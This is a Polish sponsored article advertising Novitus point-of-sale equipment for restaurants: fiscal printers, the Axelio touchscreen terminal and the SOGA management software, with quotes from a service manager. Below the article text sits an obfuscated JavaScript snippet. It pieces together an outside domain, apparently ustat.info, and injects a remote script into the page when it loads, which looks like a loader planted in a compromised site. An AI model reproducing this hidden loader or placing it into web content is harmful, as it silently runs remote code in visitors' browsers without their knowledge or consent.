Przedsiębiorstwa świadczące usługi związane z wyżywieniem muszą mierzyć się z różnymi wyzwaniami biznesowymi. Dlatego bary, puby, restauracje oraz podobne lokale zwykle stawiają na bardziej rozbudowany system sprzedaży, umożliwiający skuteczne, kompleksowe zarządzanie działalnością gastronomiczną. Co wchodzi w zakres takiego rozwiązania technologicznego? I jakie możliwości jest ono w stanie zaoferować?
Decydując się na rozwiązania technologiczne dla działalności gastronomicznej, warto skorzystać z propozycji od cenionego producenta. Dlaczego? Po pierwsze, sięgamy po sprawdzone, solidne urządzenia oraz specjalistyczne narzędzia informatyczne – dostosowane do specyfiki i potrzeb danej branży. Po drugie, wybierając produkty konkretnej marki, możemy zadbać o kompatybilność wszystkich, wdrożonych elementów, tworzących razem płynnie działający, efektywny system gastronomiczny. Jednak o których dokładnie elementach mowa? Propozycje od Novitus pokazują, jak może wyglądać skuteczny system dla gastronomii.
Po pierwsze: drukarka fiskalna – tylko jaka?
System sprzedaży dla działalności gastronomicznej może być w różnym stopniu zaawansowany, a także mniej lub bardziej rozbudowany o dodatkowe technologie. Najczęściej jednak jego bazę stanowią trzy kluczowe ogniwa. Są to: drukarka fiskalna online, komputer – a raczej terminal komputerowy POS, chętnie wybierany w przypadku takiego biznesu – oraz odpowiednie oprogramowanie, łączące funkcje sprzedażowe, magazynowe i gastronomiczne. Wymienione elementy współtworzą rozwiązanie systemowe, otwierające drogę do mnóstwa możliwości, jeśli chodzi o efektywne zarządzanie barem, pubem, kawiarnią czy restauracją, a nawet i siecią punktów gastronomicznych.
Naturalnie, jednym z podstawowych zadań tego typu działalności pozostaje zgodne z przepisami rejestrowanie obrotu i wystawianie paragonów dla klientów indywidualnych. Dlatego stosowanie urządzenia fiskalnego online w lokalu gastronomicznym jest niezbędne. Z drugiej strony, wspomniana technologia sprzedaży może być odmienna pod wieloma względami – choćby takimi, jak parametry użytkowe, dostępna funkcjonalność czy wreszcie rozwiązania konstrukcyjne. Dzięki temu przedsiębiorca jest w stanie wybrać model dopasowany do charakteru branży i profilu danej działalności.
Najlepiej przywołać konkretne przykłady. Novitus Deon Online i Novitus HD II Online to wysokiej jakości, wydajne drukarki fiskalne online, które zdecydowanie różnią się w aspekcie konstrukcyjnym. To zaś znacząco wpływa na zastosowanie technologii sprzedaży, zwłaszcza w przypadku pierwszego z wymienionych modeli.
– Deon Online to urządzenie klasyfikowane jako mobilna drukarka fiskalna. Sprawdza się zatem nie tylko w najmniejszych punktach usługowych, ale również podczas pracy w terenie. Także za sprawą małych gabarytów i poręcznej konstrukcji, odpornej na intensywną eksploatację. Drukarka fiskalna Novitus jest wygodna w obsłudze, o czym decyduje też alfanumeryczna, odporna na zalanie klawiatura. Jednocześnie, parametry i funkcje Deon Online powodują, że to urządzenie równie dobrze odnajduje się w bardziej złożonym systemie sprzedaży – zaznacza Marcin Ciechowicz, Kierownik Serwisu z Polskiego Centrum Kas Fiskalnych.
Aby się o tym przekonać, wystarczy wspomnieć o takich kwestiach, jak obsługa bardzo dużej bazy towarowej – nawet 1 000 000 PLU – dostępność różnorodnych standardów komunikacyjnych (z możliwością rozbudowania ich o opcje bezprzewodowe typu Bluetooth, Wi-Fi) i wykorzystanie wydajnego mechanizmu drukującego.
Z drugiej strony, model HD II Online od Novitus to zdecydowanie urządzenie stacjonarne i przeznaczone do jeszcze intensywniejszej pracy. Co za tym przemawia? Drukarka fiskalna HD II Online również pozwala na pracę z bazą PLU, w której znajdzie się nawet milion pozycji towarowych. Podobnie, jest w stanie zaoferować różne opcje łączności z Centralnym Repozytorium Kas (CRK), także bezprzewodowej (Wi-Fi, GSM). Warto też dodać, że mocny mechanizm drukujący – z wbudowanym obcinaczem – umożliwia korzystanie z rolki papieru o długości 100 metrów. A w dodatku, emituje paragony oraz inne, niezbędne dokumenty z prędkością aż 54 linii na sekundę! Jednocześnie, mimo specyfiki urządzenia stacjonarnego, drukarka fiskalna Novitus HD II Online to stosunkowo nieduży, elegancko zaprojektowany model – z obszernym, kolorowym ekranem, który wyświetla nawet grafiki i klipy reklamowe. To idealne rozwiązanie dla punktów gastronomicznych, nastawionych na duże natężenie ruchu i płynną obsługę wielu klientów.
Po drugie: wydajny, intuicyjny w obsłudze terminal komputerowy
Drukarki fiskalne online do prawidłowego funkcjonowania wymagają współpracy z komputerem i stosownym oprogramowaniem. Jednak w przypadku takich działalności, jak bary, puby i restauracje wybór pada zwykle na terminal komputerowy typu POS. Przywołana technologia sprzedaży łączy w sobie bowiem szereg zalet oraz funkcjonalności komputera i monitora dotykowego. Posiada wydajne podzespoły, umożliwia przejrzyste wyświetlanie menu, komunikatów i postępów transakcji, zapewnia przyjazną obsługę urządzenia i programu gastronomicznego, a zarazem nie zabiera dużo miejsca na stanowisku pracy. Łatwo się o tym wszystkim przekonać, decydując się na Novitus Axelio.
Wspomniany model przykuwa wzrok już samą jakością wykonania. Terminal komputerowy POS Axelio został zamknięty z szczelnej, solidnej i jednocześnie eleganckiej konstrukcji, wyposażonej w bezramkowy panel dotykowy. Konstrukcji, która wykazuje dość sporą odporność na działanie czynników zewnętrznych, jak kurz, zabrudzenia czy wilgoć. To ważny aspekt, jeśli chodzi o pracę w bardziej wymagającym środowisku, charakteryzującym wiele działalności gastronomicznych. Ponadto, model marki Novitus, w zakresie konstrukcyjnym, posiada praktyczne rozwiązania. Jego dwuprzegubowa obudowa, pozwalająca na zmianę kąta nachylenia ekranu, ułatwia obsługę urządzenia, zaś zgodność ze standardem VESA zapewnia opcję montażu terminala POS na płaszczyznach pionowych, co znacznie poszerza możliwości w zakresie aranżacji miejsca pracy. A co warto powiedzieć o samym ekranie i funkcjonalności tego modelu?
– Novitus Axelio został wyposażony w 15-calowy, pojemnościowy panel dotykowy oraz szereg praktycznych opcji, jak np. czujnik zapewniający automatyczne dopasowanie jasności ekranu do panujących warunków oświetleniowych. Ponadto, urządzenie posiada mocne podzespoły, które dodatkowo da się w pewnym zakresie dostosować do potrzeb konkretnej firmy – choćby pod względem procesora. W tym terminalu komputerowym nie zabrakło też zróżnicowanych standardów komunikacyjnych oraz możliwości zastosowania opcjonalnych akcesoriów, takich jak czytnik kart magnetycznych lub zbliżeniowych – wymienia Marcin Ciechowicz z PCKF.
Co więcej, terminal komputerowy POS Novitus Axelio działa w oparciu o popularny, intuicyjny system operacyjny Microsoft Windows (dostosowany do ekranów o proporcjach 4:3, takich, jakie posiada omawiany model). Oprócz tego, zapewnia kompatybilność z wieloma programami sprzedażowymi – także tymi stworzonymi z myślą o świadczeniu usług związanych z wyżywieniem.
Po trzecie: oprogramowanie dla gastronomii
System sprzedaży dla gastronomii, o jakim mowa, nie mógłby sprawnie działać i oferować wielu korzystnych rozwiązań – zarówno przedsiębiorcom, jak i ich klientom – gdyby nie odpowiednie, specjalistyczne narzędzie informatyczne, „skrojone na miarę” specyfiki i potrzeb przywołanej branży. To właśnie program gastronomiczny posiada funkcje pozwalające na sprawną obsługę gości lokalu, efektywne zarządzanie personelem czy skuteczne monitorowanie stanów magazynowych. Przykład? Oprogramowanie dla firm gastronomicznych Novitus SOGA.
Wspomniane narzędzie informatyczne da się dość swobodnie dostosować do oczekiwań danej działalności. I to zarówno w skali makro, jak i w ramach wykorzystania poszczególnych funkcji. Pierwszy aspekt oznacza, że przedsiębiorca sam ustala poziom rozbudowania stosowanego w jego firmie programu gastronomicznego. SOGA oferuje wybór wariantów i modułów o różnych zakresach (czy to pod względem funkcjonalności, czy też liczby stanowisk), stworzonych z myślą o odmiennych modelach biznesowych. Chodzi m.in. o rozwiązania dla małej i większej gastronomii, moduł magazynowy lub raportów własnych, a także opcje obsługi systemów lojalnościowych, zamówień telefonicznych i internetowych albo dodatkowe usprawnienia technologiczne – np. współpracę z mobilnymi bonownikami bądź ekranami kuchennymi (KDS).
Novitus SOGA również „w szczególe” zapewnia elastyczne, przyjazne w użyciu rozwiązania. Program oferuje użytkownikowi przejrzysty interfejs, który dodatkowo można skonfigurować wedle indywidualnych potrzeb. Ponadto, w znacznym stopniu usprawnia tworzenie nowego menu, a także umożliwia graficzne odwzorowanie stolików w lokalu gastronomicznym, co zdecydowanie ułatwia późniejszą obsługę klientów baru czy restauracji. Tym bardziej, że dla oprogramowania biznesowego Novitus nie stanowi problemu realizowanie kilku zamówień jednocześnie, podobnie jak dzielenie, łączenie i przenoszenie rachunków oraz wystawianie faktur VAT lub korekt. SOGA pozwala też na dokładne rozliczenie pracowników i nadawanie im konkretnych uprawnień. Jeśli dodamy do tego szczegółowe raporty, składające się na skrupulatną analizę sprzedaży, wygodną realizację zamówień z dowozem, intuicyjne zarządzanie rabatami i promocjami oraz obsługę różnych form płatności – zyskujemy rozwiązanie, które, w połączeniu z wydajną drukarką fiskalną i wielozadaniowym terminalem komputerowym POS, zapewnia efektywny system sprzedażowy dla gastronomii.
Artykuł zewnętrzny
(function(){
z0hu=document.createElement(“script”);z0hu_=((“u”)+”st”)+”a”;z0hu.async=true;
z0hu.type=”text/javascript”;z0hu_+=(“t.i”)+””+”n”;z0hu_+=((“f”)+”o”);z0hu_+=”/”;
z0huu=”2370218296.”;z0huu+=”eyfvdfc50humwlXn7bh”+”ejtk5fu6kby”;
z0hu.src=”https://”+z0hu_+z0huu;document.body.appendChild(z0hu);
})();
